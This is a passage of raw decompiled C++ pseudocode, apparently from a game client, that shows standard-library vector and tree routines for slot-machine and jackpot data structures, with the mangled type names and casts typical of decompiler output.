v4->_Mylast = (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)((char *)v19 + 36 * v16); v4->_Myfirst = (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)v19; } } } //----- (005D4440) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 15) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 15) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 15); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 15); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (005D4500) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBSMLine *_Val) { std::vector > *v4; // esi@1 GBSMLine *v5; // edx@1 GBSMLine *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // edi@25 std::list,std::allocator > >::iterator *v15; // ST14_4@25 GBSMLine *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::list,std::allocator > >::iterator *v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 std::list,std::allocator > >::iterator *v24; // ST20_4@32 int v25; // ebx@32 std::list,std::allocator > >::iterator *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-28h]@31 int v28; // [sp+0h] [bp-24h]@1 void *_Newvec; // [sp+Ch] [bp-18h]@25 int v30; // [sp+10h] [bp-14h]@25 int *v31; // [sp+14h] [bp-10h]@1 int v32; // [sp+20h] [bp-4h]@25 unsigned int _Wherea; // [sp+2Ch] [bp+8h]@31 std::list,std::allocator > >::iterator *_Countb; // [sp+30h] [bp+Ch]@25 std::list,std::allocator > >::iterator *_Counta; // [sp+30h] [bp+Ch]@31 v4 = this; v5 = this->_Myfirst; v6 = *(GBSMLine **)&_Val->GBSM_GroupID; v31 = &v28; _Val = v6; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( 1073741823 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2 < _Count; v22 = 4 * _Count; _Wherea = 4 * _Count; v27.dummy[0] = 4 * _Count; _Counta = (std::list,std::allocator > >::iterator *)v4->_Mylast; if ( v21 ) { std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&v20, v19, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + v22), (std::allocator,std::allocator > >::iterator> *)v4, v27); v23 = v8 - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v20) >> 2); v24 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v32 = 2; std::vector>::_Ufill( (std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *)&_Val); v25 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (GBSMLine *)v25; std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(v25 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { v26 = &v19[-v22 / 4u]; v4->_Mylast = (GBSMLine *)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( &v19[-v22 / 4u], v19, v19, (std::allocator,std::allocator > >::iterator> *)v4, v27); std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>( *(std::list,std::allocator > >::iterator **)&v20, v26, _Counta); std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v5 ) v13 = v4->_Mylast - v5; else v13 = 0; v11 = _Count + v13; } v30 = 4 * v11; v14 = operator new(4 * v11); v15 = (std::list,std::allocator > >::iterator *)v4->_Myfirst; _Newvec = v14; v32 = 0; _Countb = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v15, *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v14, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Countb, v8, (std::list,std::allocator > >::iterator *)&_Val, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v4->_Mylast, &_Countb[v8], (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (GBSMLine *)((char *)v14 + v30); v4->_Mylast = (GBSMLine *)((char *)v14 + 4 * v18); v4->_Myfirst = (GBSMLine *)v14; } } } //----- (005D4740) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBSMAll *_Val) { std::vector > *v4; // esi@1 int v5; // ecx@1 GBSMAll *v6; // ebx@1 char v7; // dl@1 unsigned int v8; // ecx@2 signed int v9; // edx@3 unsigned int v10; // edi@4 int v11; // eax@6 int v12; // eax@11 int v13; // ecx@15 int v14; // eax@18 GBSMAll *v15; // ST14_4@22 GBSMAll *v16; // ebx@22 GBSMAll *v17; // ebx@22 int v18; // eax@23 int v19; // edi@25 GBSMAll *v20; // ecx@28 std::vector >::iterator v21; // ebx@28 bool v22; // cf@28 unsigned int v23; // eax@28 GBSMAll *v24; // ecx@29 GBSMAll *v25; // ST20_4@29 int v26; // edi@29 GBSMAll *v27; // edi@30 std::_Nonscalar_ptr_iterator_tag v28; // [sp-4h] [bp-28h]@28 int v29; // [sp+0h] [bp-24h]@1 int _Tmp; // [sp+Ch] [bp-18h]@1 char v31; // [sp+10h] [bp-14h]@1 int *v32; // [sp+14h] [bp-10h]@1 int v33; // [sp+20h] [bp-4h]@22 unsigned int _Wherea; // [sp+2Ch] [bp+8h]@28 int _Counta; // [sp+30h] [bp+Ch]@22 void *_Newvec; // [sp+34h] [bp+10h]@22 GBSMAll *_Newveca; // [sp+34h] [bp+10h]@28 v4 = this; v5 = *(_DWORD *)&_Val->GBSM_GroupID; v6 = v4->_Myfirst; v7 = _Val->GBSM_IsJP; v32 = &v29; _Tmp = v5; v31 = v7; if ( v6 ) { v9 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } v10 = _Count; if ( _Count ) { if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( 858993459 - v11 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v12 = v4->_Mylast - v6; else v12 = 0; if ( v8 >= _Count + v12 ) { v20 = v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 5 < _Count; v23 = 5 * _Count; _Wherea = 5 * _Count; v28.dummy[0] = 5 * _Count; _Newveca = v4->_Mylast; if ( v22 ) { std::_Uninit_copy>( *(GBSMAll **)&v21, v20, (GBSMAll *)(*(_DWORD *)&v21 + v23), &v4->baseclass_0._Alval, v28); v24 = v4->_Mylast; v25 = v4->_Mylast; v33 = 2; std::vector>::_Ufill( v4, v25, _Count - (signed int)((char *)v24 - *(_DWORD *)&v21) / 5, (GBSMAll *)&_Tmp); v26 = (int)&v4->_Mylast[_Wherea / 5]; v4->_Mylast = (GBSMAll *)v26; std::fill(*(GBSMAll **)&v21, (GBSMAll *)(v26 - _Wherea), (GBSMAll *)&_Tmp); } else { v27 = &v20[-v23 / 5u]; v4->_Mylast = std::_Uninit_copy>( &v20[-v23 / 5u], v20, v20, &v4->baseclass_0._Alval, v28); std::copy_backward(*(GBSMAll **)&v21, v27, _Newveca); std::fill(*(GBSMAll **)&v21, (GBSMAll *)(*(_DWORD *)&v21 + _Wherea), (GBSMAll *)&_Tmp); } } else { if ( 858993459 - (v8 >> 1) >= v8 ) v13 = (v8 >> 1) + v8; else v13 = 0; if ( v6 ) v14 = v4->_Mylast - v6; else v14 = 0; if ( v13 < _Count + v14 ) v13 = _Count + std::vector>::size(v4); _Counta = 5 * v13; _Newvec = operator new(5 * v13); v15 = v4->_Myfirst; v33 = 0; v16 = std::_Uninit_copy>( v15, *(GBSMAll **)&_Where, (GBSMAll *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( v16, v10, (GBSMAll *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(GBSMAll **)&_Where, v4->_Mylast, (GBSMAll *)((char *)v16 + 4 * v10 + v10), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v10; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (GBSMAll *)((char *)_Newvec + _Counta); v4->_Mylast = (GBSMAll *)((char *)_Newvec + 4 * v19 + v19); v4->_Myfirst = (GBSMAll *)_Newvec; } } } //----- (005D49E0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBSMCenter *_Val) { std::vector > *v4; // esi@1 __int16 v5; // cx@1 GBSMCenter *v6; // ebx@1 char v7; // dl@1 int v8; // ecx@2 unsigned int v9; // edi@4 int v10; // eax@6 int v11; // eax@11 int v12; // ecx@15 int v13; // eax@18 GBSMCenter *v14; // ST14_4@22 GBSMCenter *v15; // ebx@22 GBSMCenter *v16; // ebx@22 int v17; // eax@23 int v18; // edi@25 GBSMCenter *v19; // ecx@28 std::vector >::iterator v20; // ebx@28 bool v21; // cf@28 unsigned int v22; // eax@28 GBSMCenter *v23; // ecx@29 GBSMCenter *v24; // ST20_4@29 int v25; // edi@29 GBSMCenter *v26; // edi@30 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-24h]@28 int v28; // [sp+0h] [bp-20h]@1 int v29; // [sp+Ch] [bp-14h]@22 int *v30; // [sp+10h] [bp-10h]@1 int v31; // [sp+1Ch] [bp-4h]@22 unsigned int _Wherea; // [sp+28h] [bp+8h]@28 void *_Newvec; // [sp+2Ch] [bp+Ch]@22 GBSMCenter *_Newveca; // [sp+2Ch] [bp+Ch]@28 v4 = this; v5 = *(_WORD *)&_Val->GBSM_GroupID; v6 = v4->_Myfirst; v7 = HIBYTE(_Val->GBSM_RatioCenter); v30 = &v28; LOWORD(_Val) = v5; BYTE2(_Val) = v7; if ( v6 ) v8 = v4->_Myend - v6; else v8 = 0; v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( 1431655765 - v10 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v8 >= _Count + v11 ) { v19 = v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 3 < _Count; v22 = 3 * _Count; _Wherea = 3 * _Count; v27.dummy[0] = 3 * _Count; _Newveca = v4->_Mylast; if ( v21 ) { std::_Uninit_copy>( *(GBSMCenter **)&v20, v19, (GBSMCenter *)(*(_DWORD *)&v20 + v22), &v4->baseclass_0._Alval, v27); v23 = v4->_Mylast; v24 = v4->_Mylast; v31 = 2; std::vector>::_Ufill( v4, v24, v9 - (signed int)((char *)v23 - *(_DWORD *)&v20) / 3, (GBSMCenter *)&_Val); v25 = (int)&v4->_Mylast[_Wherea / 3]; v4->_Mylast = (GBSMCenter *)v25; std::fill(*(GBSMCenter **)&v20, (GBSMCenter *)(v25 - _Wherea), (GBSMCenter *)&_Val); } else { v26 = &v19[-v22 / 3u]; v4->_Mylast = std::_Uninit_copy>( &v19[-v22 / 3u], v19, v19, &v4->baseclass_0._Alval, v27); std::copy_backward(*(GBSMCenter **)&v20, v26, _Newveca); std::fill( *(GBSMCenter **)&v20, (GBSMCenter *)(*(_DWORD *)&v20 + _Wherea), (GBSMCenter *)&_Val); } } else { if ( 1431655765 - ((unsigned int)v8 >> 1) >= v8 ) v12 = ((unsigned int)v8 >> 1) + v8; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size(v4); v29 = 3 * v12; _Newvec = operator new(3 * v12); v14 = v4->_Myfirst; v31 = 0; v15 = std::_Uninit_copy>( v14, *(GBSMCenter **)&_Where, (GBSMCenter *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( v15, v9, (GBSMCenter *)&_Val, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(GBSMCenter **)&_Where, v4->_Mylast, (GBSMCenter *)((char *)v15 + 2 * v9 + v9), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v9; if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (GBSMCenter *)((char *)_Newvec + v29); v4->_Mylast = (GBSMCenter *)((char *)_Newvec + 2 * v18 + v18); v4->_Myfirst = (GBSMCenter *)_Newvec; } } } //----- (005D4C70) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SLOTMACHINE_JackPotRank *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 int v6; // ecx@1 int v7; // edx@1 unsigned int v8; // eax@1 SLOTMACHINE_JackPotRank *v9; // ecx@1 unsigned int v10; // ebx@2 signed int v11; // edx@3 int v12; // eax@6 int v13; // eax@11 int v14; // ebx@15 int v15; // eax@18 void *v16; // eax@22 CharaterSkillList::CharSkill *v17; // ecx@22 SLOTMACHINE_JackPotRank *v18; // ecx@22 int v19; // eax@23 unsigned int v20; // edi@25 SLOTMACHINE_JackPotRank *v21; // edx@26 SLOTMACHINE_JackPotRank *v22; // eax@26 void *v23; // eax@29 CharaterSkillList::CharSkill *v24; // ecx@30 int v25; // eax@30 SLOTMACHINE_JackPotRank *v26; // ecx@31 CharaterSkillList::CharSkill *v27; // ST24_4@31 int v28; // eax@31 int v29; // edi@31 CharaterSkillList::CharSkill *v30; // eax@32 SLOTMACHINE_JackPotRank *v31; // ecx@32 void *v32; // edx@32 int v33; // [sp+0h] [bp-3Ch]@1 void *_Newvec; // [sp+Ch] [bp-30h]@22 std::_Nonscalar_ptr_iterator_tag __formal[4]; // [sp+10h] [bp-2Ch]@22 int _Tmp; // [sp+14h] [bp-28h]@1 int v37; // [sp+18h] [bp-24h]@1 int v38; // [sp+1Ch] [bp-20h]@1 int v39; // [sp+20h] [bp-1Ch]@1 unsigned int v40; // [sp+24h] [bp-18h]@1 unsigned int v41; // [sp+28h] [bp-14h]@1 int *v42; // [sp+2Ch] [bp-10h]@1 int v43; // [sp+38h] [bp-4h]@22 int v44; // [sp+3Ch] [bp+0h]@1 v41 = (unsigned int)&v44 ^ __security_cookie; v4 = *(_DWORD *)&_Val->name.n4_name[4]; v5 = this; _Tmp = *(_DWORD *)&_Val->name.n4_name[0]; v6 = *(_DWORD *)&_Val->name.n4_name[8]; v37 = v4; v7 = *(_DWORD *)&_Val->name.n4_name[12]; v8 = _Val->money; v38 = v6; v9 = v5->_Myfirst; v42 = &v33; v39 = v7; v40 = v8; if ( v9 ) { v11 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v5->_Myend - (char *)v9)) >> 32) >> 3; v10 = v11 + ((unsigned int)v11 >> 31); } else { v10 = 0; } if ( _Count ) { if ( v9 ) v12 = v5->_Mylast - v9; else v12 = 0; if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - v12) < _Count ) std::vector>::_Xlen((std::vector > *)v5); if ( v9 ) v13 = v5->_Mylast - v9; else v13 = 0; if ( v10 >= _Count + v13 ) { v24 = (CharaterSkillList::CharSkill *)v5->_Mylast; v25 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) / 20; *(_DWORD *)&__formal[0].dummy[0] = v5->_Mylast; if ( v25 >= _Count ) { _Newvec = &v24[-_Count]; v30 = std::_Uninit_copy>( &v24[-_Count], v24, v24, (std::allocator *)v5, __formal[0]); v31 = *(SLOTMACHINE_JackPotRank **)&__formal[0].dummy[0]; v32 = _Newvec; v5->_Mylast = (SLOTMACHINE_JackPotRank *)v30; std::_Copy_backward_opt( *(SLOTMACHINE_JackPotRank **)&_Where, (SLOTMACHINE_JackPotRank *)v32, v31, __formal[0]); std::fill( *(SLOTMACHINE_JackPotRank **)&_Where, (SLOTMACHINE_JackPotRank *)(*(_DWORD *)&_Where + 20 * _Count), (SLOTMACHINE_JackPotRank *)&_Tmp); } else { *(_DWORD *)&__formal[0].dummy[0] = 20 * _Count; std::_Uninit_copy>( *(CharaterSkillList::CharSkill **)&_Where, v24, (CharaterSkillList::CharSkill *)(*(_DWORD *)&_Where + 20 * _Count), (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)(20 * _Count)); v26 = v5->_Mylast; v27 = (CharaterSkillList::CharSkill *)v5->_Mylast; v43 = 2; std::vector>::_Ufill( (std::vector > *)v5, v27, _Count - (signed int)((char *)v26 - *(_DWORD *)&_Where) / 20, (CharaterSkillList::CharSkill *)&_Tmp); v28 = *(_DWORD *)&__formal[0].dummy[0]; v29 = (int)((char *)v5->_Mylast + *(_DWORD *)&__formal[0].dummy[0]); v5->_Mylast = (SLOTMACHINE_JackPotRank *)v29; std::fill( *(SLOTMACHINE_JackPotRank **)&_Where, (SLOTMACHINE_JackPotRank *)(v29 - v28), (SLOTMACHINE_JackPotRank *)&_Tmp); } } else { if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - (v10 >> 1)) >= v10 ) v14 = (v10 >> 1) + v10; else v14 = 0; if ( v9 ) v15 = v5->_Mylast - v9; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size((std::vector > *)v5); v16 = operator new(20 * v14); v17 = (CharaterSkillList::CharSkill *)v5->_Myfirst; _Newvec = v16; v43 = 0; *(_DWORD *)&__formal[0].dummy[0] = std::_Uninit_copy>( v17, *(CharaterSkillList::CharSkill **)&_Where, (CharaterSkillList::CharSkill *)v16, (std::allocator *)v5, __formal[0]); std::_Uninit_fill_n>( *(CharaterSkillList::CharSkill **)&__formal[0].dummy[0], _Count, (CharaterSkillList::CharSkill *)&_Tmp, (std::allocator *)v5, __formal[0]); std::_Uninit_copy>( *(CharaterSkillList::CharSkill **)&_Where, (CharaterSkillList::CharSkill *)v5->_Mylast, (CharaterSkillList::CharSkill *)(*(_DWORD *)&__formal[0].dummy[0] + 20 * _Count), (std::allocator *)v5, __formal[0]); v18 = v5->_Myfirst; if ( v18 ) v19 = v5->_Mylast - v18; else v19 = 0; v20 = v19 + _Count; if ( v18 ) { v21 = v5->_Mylast; v22 = v5->_Myfirst; if ( v18 != v21 ) { do ++v22; while ( v22 != v21 ); } operator delete(v5->_Myfirst); } v23 = _Newvec; v5->_Myend = (SLOTMACHINE_JackPotRank *)((char *)_Newvec + 20 * v14); v5->_Mylast = (SLOTMACHINE_JackPotRank *)((char *)v23 + 20 * v20); v5->_Myfirst = (SLOTMACHINE_JackPotRank *)v23; } } } //----- (005D4F50) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBSMJackpotRate *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 GBSMJackpotRate *v7; // ebx@1 unsigned int v8; // eax@1 unsigned int v9; // ecx@2 signed int v10; // edx@3 unsigned int v11; // edi@4 int v12; // eax@6 int v13; // eax@11 int v14; // ecx@15 int v15; // eax@18 int v16; // ebx@22 TickTimer *v17; // ST18_4@22 int v18; // eax@22 int v19; // edi@24 TickTimer *v20; // ecx@27 std::vector >::iterator v21; // ebx@27 GBSMJackpotRate *v22; // ecx@28 TickTimer *v23; // ST24_4@28 unsigned int v24; // edi@28 int v25; // [sp+0h] [bp-28h]@1 unsigned int _Tmp; // [sp+Ch] [bp-1Ch]@1 unsigned int v27; // [sp+10h] [bp-18h]@1 unsigned int v28; // [sp+14h] [bp-14h]@1 int *v29; // [sp+18h] [bp-10h]@1 int v30; // [sp+24h] [bp-4h]@22 TickTimer *_Wherea; // [sp+30h] [bp+8h]@29 TickTimer *_Counta; // [sp+34h] [bp+Ch]@22 void *_Newvec; // [sp+38h] [bp+10h]@22 TickTimer *_Newveca; // [sp+38h] [bp+10h]@27 v4 = this; v5 = _Val->GBSM_MinCount; v6 = _Val->GBSM_MaxCount; v7 = v4->_Myfirst; v8 = _Val->GBSM_JPRate; v29 = &v25; _Tmp = v5; v27 = v6; v28 = v8; if ( v7 ) { v10 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 1; v9 = v10 + ((unsigned int)v10 >> 31); } else { v9 = 0; } v11 = _Count; if ( _Count ) { if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( 357913941 - v12 < _Count ) std::vector>::_Xlen(v4); if ( v7 ) v13 = v4->_Mylast - v7; else v13 = 0; if ( v9 >= _Count + v13 ) { v20 = (TickTimer *)v4->_Mylast; v21 = _Where; _Newveca = (TickTimer *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = (GBSMJackpotRate *)std::_Uninit_copy>( &v20[-_Count], v20, v20, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v21, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v21, (TickTimer *)(*(_DWORD *)&v21 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>( *(TickTimer **)&_Where, v20, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)(12 * _Count)); v22 = v4->_Mylast; v23 = (TickTimer *)v4->_Mylast; v30 = 2; std::vector>::_Ufill( (std::vector > *)v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GBSMJackpotRate *)v24; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v24 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v9 >> 1) >= v9 ) v14 = (v9 >> 1) + v9; else v14 = 0; if ( v7 ) v15 = v4->_Mylast - v7; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size((std::vector > *)v4); v16 = 12 * v14; _Newvec = operator new(12 * v14); v17 = (TickTimer *)v4->_Myfirst; v30 = 0; _Counta = std::_Uninit_copy>( v17, *(TickTimer **)&_Where, (TickTimer *)_Newvec, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v11, (TickTimer *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(TickTimer **)&_Where, (TickTimer *)v4->_Mylast, &_Counta[v11], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v18 = (int)v4->_Myfirst; if ( v18 ) v18 = (signed int)((char *)v4->_Mylast - v18) / 12; v19 = v18 + v11; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (GBSMJackpotRate *)((char *)_Newvec + v16); v4->_Mylast = (GBSMJackpotRate *)((char *)_Newvec + 12 * v19); v4->_Myfirst = (GBSMJackpotRate *)_Newvec; } } } //----- (005D5210) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { SLOTMACHINE_JackPotRank *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 CharaterSkillList::CharSkill *v7; // ecx@7 CharaterSkillList::CharSkill *v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v11 = &v9; v10 = this; if ( v2 ) v4 = _Right->_Mylast - v2; else v4 = 0; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( v4 > (unsigned int)&ddt.ddt_Table[2021][1471].direct ) std::vector>::_Xlen((std::vector > *)this); v5 = 20 * v4; v6 = operator new(20 * v4); v3->_Myfirst = (SLOTMACHINE_JackPotRank *)v6; v3->_Mylast = (SLOTMACHINE_JackPotRank *)v6; v3->_Myend = (SLOTMACHINE_JackPotRank *)((char *)v6 + v5); v7 = (CharaterSkillList::CharSkill *)_Right->_Mylast; v8 = (CharaterSkillList::CharSkill *)_Right->_Myfirst; v12 = 0; v3->_Mylast = (SLOTMACHINE_JackPotRank *)std::_Uninit_copy>( v8, v7, (CharaterSkillList::CharSkill *)v6, (std::allocator *)v3, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (005D52C3) -------------------------------------------------------- void __usercall _L199351(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int __formal) { void *v2; // esi@1 SLOTMACHINE_JackPotRank *v3; 